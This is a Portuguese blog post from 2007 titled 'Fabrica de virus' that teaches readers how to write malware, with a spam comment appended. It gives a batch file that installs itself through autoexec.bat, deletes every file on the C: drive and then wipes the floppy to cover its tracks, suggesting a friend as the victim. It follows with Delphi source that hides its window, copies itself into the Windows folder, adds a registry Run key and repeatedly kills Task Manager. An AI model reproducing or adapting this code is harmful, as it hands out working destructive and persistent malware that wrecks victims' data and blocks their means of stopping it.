sábado, 1 de dezembro de 2007

Fabrica de virus

Criando Vírus

Em primeiro lugar, você deve abrir o MS-DOS e seguir os passos abaixo:Digite: Edit (nome do seu arquivo).bat, deverá aparecer uma tela azul.Entre com os comandos: @ECHO OFF e BREAK OFF. A página deverá ficar daseguinte maneira, como está embaixo:@ECHO OFFBREAK OFFDepois disso, a pessoa escolhe o que seu vírus deve fazer. Depois ela usa o comando copy a:\(nome do seu vírus).bat autoexec.bat, ela então terá a certeza de estar executando seu vírus ao iniciar o computador-alvo. Agora vamos supor que o seu vírus seja capaz de apagar todos os arquivos do PC alheio. Você deve usar o seguintecomando:deltree/y c:\*.*Agora, o vírus simples da pessoa está completo. É só a vítima (seu amiguinho) executar o arquivo e pronto!Importante:Caso a pessoa passe esse vírus via disquete, ele não deve esqueçer de finalizar o arquivo com o comando deltree/y a:\*.* . Isso serve para não deixar vestígios de seu ato insano.


Virus em Delphi

Existe muitas maneiras de criar um virus em delphi, a maioria dos trojans famosos que circulão n internet foram feitos em delphi.Eu vou mostrar como fazer um virus reninciar junto com o windows e travar o Ctrl + Alt + Del.

Vamos la, Primeiro abra um projeto e coloque na uses "Registry,"
Agora em baixo de "{$R *.dfm}" clouqe isso:
procedure RunOnStartup(sProgTitle,sCmdLine: string; bRunOnce: boolean ); varsKey : string;reg : TRegIniFile;beginif( bRunOnce )thenbeginsKey := 'Once'endelsebeginsKey := '';end;reg := TRegIniFile.Create( '' );reg.RootKey := HKEY_LOCAL_MACHINE;reg.WriteString('Software\Microsoft' + '\Windows\CurrentVersion\Run'+ sKey + #0, sProgTitle, sCmdLine );reg.Free;end;
Agora no FormCreate coloque isso:
procedure TForm1.FormCreate(Sender: TObject);beginApplication.ShowMainForm := False;CopyFile(PChar(Application.ExeName),'C:\WINDOWS\virus.exe',True);RunOnStartup('virus','C:\WINDOWS\virus.exe',true);end;
Agora vamos fazer a parte de travar a listagem de processos, vou dar o coder todo basta voce fazer sua arte:
unit Unit1;
interface
usesWindows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, TLHelp32, PsAPI, ExtCtrls;
typeTForm1 = class(TForm)Timer1: TTimer;procedure Timer1Timer(Sender: TObject);procedure FormCreate(Sender: TObject);private{ Private declarations }public{ Public declarations }end;
varForm1: TForm1;
implementation
{$R *.dfm}
function TerminarProcesso(sFile: String): Boolean;varverSystem: TOSVersionInfo;hdlSnap,hdlProcess: THandle;bPath,bLoop: Bool;peEntry: TProcessEntry32;arrPid: Array [0..1023] of DWORD;iC: DWord;k,iCount: Integer;arrModul: Array [0..299] of Char;hdlModul: HMODULE;beginResult := False;if ExtractFileName(sFile)=sFile thenbPath:=falseelsebPath:=true;verSystem.dwOSVersionInfoSize:=SizeOf(TOSVersionInfo);GetVersionEx(verSystem);if verSystem.dwPlatformId=VER_PLATFORM_WIN32_WINDOWS thenbeginhdlSnap:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);peEntry.dwSize:=Sizeof(peEntry);bLoop:=Process32First(hdlSnap,peEntry);while integer(bLoop)<>0 dobeginif bPath thenbeginif CompareText(peEntry.szExeFile,sFile) = 0 thenbeginTerminateProcess(OpenProcess(PROCESS_TERMINATE,false,peEntry.th32ProcessID), 0);Result := True;end;endelsebeginif CompareText(ExtractFileName(peEntry.szExeFile),sFile) = 0 thenbeginTerminateProcess(OpenProcess(PROCESS_TERMINATE,false,peEntry.th32ProcessID), 0);Result := True;end;end;bLoop := Process32Next(hdlSnap,peEntry);end;CloseHandle(hdlSnap);endelseif verSystem.dwPlatformId=VER_PLATFORM_WIN32_NT thenbeginEnumProcesses(@arrPid,SizeOf(arrPid),iC);iCount := iC div SizeOf(DWORD);for k := 0 to Pred(iCount) dobeginhdlProcess:=OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ,false,arrPid [k]);if (hdlProcess<>0) thenbeginEnumProcessModules(hdlProcess,@hdlModul,SizeOf(hdlModul),iC);GetModuleFilenameEx(hdlProcess,hdlModul,arrModul,SizeOf(arrModul));if bPath thenbeginif CompareText(arrModul,sFile) = 0 thenbeginTerminateProcess(OpenProcess(PROCESS_TERMINATE or PROCESS_QUERY_INFORMATION,False,arrPid [k]), 0);Result := True;end;endelsebeginif CompareText(ExtractFileName(arrModul),sFile) = 0 thenbeginTerminateProcess(OpenProcess(PROCESS_TERMINATE or PROCESS_QUERY_INFORMATION,False,arrPid [k]), 0);Result := True;end;end;CloseHandle(hdlProcess);end;end;end;end;
procedure TForm1.Timer1Timer(Sender: TObject);beginTerminarProcesso('taskmgr.exe');end;
procedure TForm1.FormCreate(Sender: TObject);beginapplication.ShowMainForm := false;end;
end.

Um comentário:

Anônimo disse...

Gostei muito desse post e seu blog é muito interessante, vou passar por aqui sempre =) Depois dá uma passada lá no meu site, que é sobre o CresceNet, espero que goste. O endereço dele é http://www.provedorcrescenet.com . Um abraço.